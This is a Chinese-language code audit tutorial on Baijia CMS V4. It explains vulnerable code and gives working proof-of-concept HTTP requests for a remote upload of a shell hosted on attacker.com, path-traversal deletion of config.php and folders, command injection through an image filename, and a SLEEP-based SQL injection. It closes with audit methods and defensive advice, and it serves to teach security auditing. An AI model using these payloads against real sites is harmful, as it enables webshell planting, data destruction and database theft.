从0开始学习代码审计之百家CMS
字数 1573 2025-08-24 23:51:21

百家CMS V4代码审计全面指南

前言

本文是对百家CMS V4系统的深入代码审计报告,重点分析了该系统中存在的多个高危漏洞,包括文件上传、任意文件删除和远程命令执行等。通过本指南,您将学习到如何系统性地审计类似CMS系统,发现并验证安全漏洞。

系统架构分析

目录结构

  • include/:核心文件目录,类似于V2版本的init.php
  • extends.inc.php:扩展功能文件
  • system/:包含eshop模块以及与第三方平台(钉钉、微信、QQ)的接口

初始化流程

系统初始化时进行大量defined检查,并设置参数获取方式:

// 类似于V2的init.php
// 包含大面积的defined检查
// 设置参数获取方式

漏洞审计与分析

1. 远程文件上传漏洞

漏洞位置/path/to/uploader.php中的文件上传功能

漏洞分析

  • 系统提供从远程URL提取图片并上传的功能
  • 无任何文件后缀过滤
  • 上传后返回文件名和路径

关键代码

function remote_file_upload($url) {
    // 无过滤直接下载远程文件
    $file = file_get_contents($url);
    $filename = basename($url);
    file_put_contents($upload_path.$filename, $file);
    return $filename; // 返回上传后的文件名和路径
}

利用方法

  1. 构造恶意文件URL
  2. 通过上传接口提交远程URL
  3. 系统下载并保存恶意文件

验证POC

POST /uploader.php?op=upload HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

url=http://attacker.com/shell.php

2. 任意文件删除漏洞(共三处)

第一处:uploader.php

漏洞位置uploader.php中的文件删除功能

漏洞分析

  • $settings['system_isnetattach']为空时进入删除流程
  • 未对file参数进行过滤
  • 可通过目录穿越删除任意文件

关键代码

if(empty($settings['system_isnetattach'])) {
    file_delete($file); // 直接删除传入的文件路径
}

利用方法

  1. 构造包含目录穿越的文件路径
  2. 通过op=remove&file=../../config.php参数触发删除

验证POC

GET /index.php?mod=mobile&do=util&act=uploader&op=remove&file=../../config.php HTTP/1.1
Host: target.com

第二处:分类管理功能

漏洞位置:分类管理功能中的文件删除

漏洞分析

  • 在新建/编辑分类时触发文件删除
  • thumb_old参数可控
  • 无路径过滤

利用方法

  1. 抓取新建分类的请求
  2. 修改thumb_old参数为要删除的文件路径
  3. 重放请求

验证POC

POST /index.php?mod=site&m=eshop&do=category&act=post HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

id=1&thumb_old=../../important.php

第三处:文件夹删除

漏洞位置:数据库管理功能中的文件夹删除

漏洞分析

  • 可删除任意文件夹
  • 通过base64编码的路径参数
  • 仅能删除文件夹而非单个文件

利用方法

  1. 构造base64编码的路径如Li4vLi4vc3A0YzFvdXM= (../../sp4c1ous)
  2. 通过接口提交删除请求

验证POC

POST /database.php?op=delete_folder HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

id=Li4vLi4vc3A0YzFvdXM=

3. 远程命令执行漏洞

漏洞位置:图片压缩功能中的命令执行

漏洞分析

  • 直接将用户控制的文件名拼接到system命令中
  • 需要$settings['image_compress_openscale']开启
  • 通过文件名注入命令

关键代码

if(!empty($settings['image_compress_openscale'])) {
    system("convert {$filename} -resize {$width}x{$height} {$newfile}");
}

利用方法

  1. 确保图片压缩功能开启
  2. 上传文件名包含命令注入,如test.jpg;id;.jpg
  3. 触发图片压缩功能执行命令

验证POC

POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.jpg;id;.jpg"
Content-Type: image/jpeg

[恶意文件内容]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

4. SQL注入漏洞(历史版本)

漏洞位置:商品列表接口

漏洞分析

  • 老版本中未充分过滤order参数
  • 可通过时间盲注获取数据

利用POC

GET /index.php?act=index&beid=1&by=&cate=&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))) HTTP/1.1
Host: target.com

审计方法论总结

  1. 自动化扫描:使用Seay等工具初步筛选危险函数
  2. 参数追踪:分析用户输入如何传递到危险函数
  3. 功能定位:通过URL参数结构反向定位代码位置
  4. 过滤验证:检查输入过滤是否充分
  5. 利用链构建:组合多个小漏洞形成完整攻击链

防御建议

  1. 文件上传

    • 限制上传文件类型
    • 检查文件内容而不仅是扩展名
    • 随机化存储文件名
  2. 文件删除

    • 严格校验文件路径
    • 限制删除操作的范围
    • 记录删除操作日志
  3. 命令执行

    • 避免直接拼接用户输入到系统命令
    • 使用escapeshellarg()等函数过滤
    • 使用更安全的替代方案
  4. SQL注入

    • 全面使用预处理语句
    • 对数值参数进行intval过滤
    • 最小权限原则配置数据库账户

通过本指南,您应该能够全面理解百家CMS V4的安全问题,并将这些审计方法应用到其他CMS系统的安全评估中。

百家CMS V4代码审计全面指南 前言 本文是对百家CMS V4系统的深入代码审计报告,重点分析了该系统中存在的多个高危漏洞,包括文件上传、任意文件删除和远程命令执行等。通过本指南,您将学习到如何系统性地审计类似CMS系统,发现并验证安全漏洞。 系统架构分析 目录结构 include/ :核心文件目录,类似于V2版本的 init.php extends.inc.php :扩展功能文件 system/ :包含eshop模块以及与第三方平台(钉钉、微信、QQ)的接口 初始化流程 系统初始化时进行大量 defined 检查,并设置参数获取方式: 漏洞审计与分析 1. 远程文件上传漏洞 漏洞位置 : /path/to/uploader.php 中的文件上传功能 漏洞分析 : 系统提供从远程URL提取图片并上传的功能 无任何文件后缀过滤 上传后返回文件名和路径 关键代码 : 利用方法 : 构造恶意文件URL 通过上传接口提交远程URL 系统下载并保存恶意文件 验证POC : 2. 任意文件删除漏洞(共三处) 第一处:uploader.php 漏洞位置 : uploader.php 中的文件删除功能 漏洞分析 : 当 $settings['system_isnetattach'] 为空时进入删除流程 未对 file 参数进行过滤 可通过目录穿越删除任意文件 关键代码 : 利用方法 : 构造包含目录穿越的文件路径 通过 op=remove&file=../../config.php 参数触发删除 验证POC : 第二处:分类管理功能 漏洞位置 :分类管理功能中的文件删除 漏洞分析 : 在新建/编辑分类时触发文件删除 thumb_old 参数可控 无路径过滤 利用方法 : 抓取新建分类的请求 修改 thumb_old 参数为要删除的文件路径 重放请求 验证POC : 第三处:文件夹删除 漏洞位置 :数据库管理功能中的文件夹删除 漏洞分析 : 可删除任意文件夹 通过base64编码的路径参数 仅能删除文件夹而非单个文件 利用方法 : 构造base64编码的路径如 Li4vLi4vc3A0YzFvdXM= (../../sp4c1ous) 通过接口提交删除请求 验证POC : 3. 远程命令执行漏洞 漏洞位置 :图片压缩功能中的命令执行 漏洞分析 : 直接将用户控制的文件名拼接到system命令中 需要 $settings['image_compress_openscale'] 开启 通过文件名注入命令 关键代码 : 利用方法 : 确保图片压缩功能开启 上传文件名包含命令注入,如 test.jpg;id;.jpg 触发图片压缩功能执行命令 验证POC : 4. SQL注入漏洞(历史版本) 漏洞位置 :商品列表接口 漏洞分析 : 老版本中未充分过滤 order 参数 可通过时间盲注获取数据 利用POC : 审计方法论总结 自动化扫描 :使用Seay等工具初步筛选危险函数 参数追踪 :分析用户输入如何传递到危险函数 功能定位 :通过URL参数结构反向定位代码位置 过滤验证 :检查输入过滤是否充分 利用链构建 :组合多个小漏洞形成完整攻击链 防御建议 文件上传 : 限制上传文件类型 检查文件内容而不仅是扩展名 随机化存储文件名 文件删除 : 严格校验文件路径 限制删除操作的范围 记录删除操作日志 命令执行 : 避免直接拼接用户输入到系统命令 使用escapeshellarg()等函数过滤 使用更安全的替代方案 SQL注入 : 全面使用预处理语句 对数值参数进行intval过滤 最小权限原则配置数据库账户 通过本指南,您应该能够全面理解百家CMS V4的安全问题,并将这些审计方法应用到其他CMS系统的安全评估中。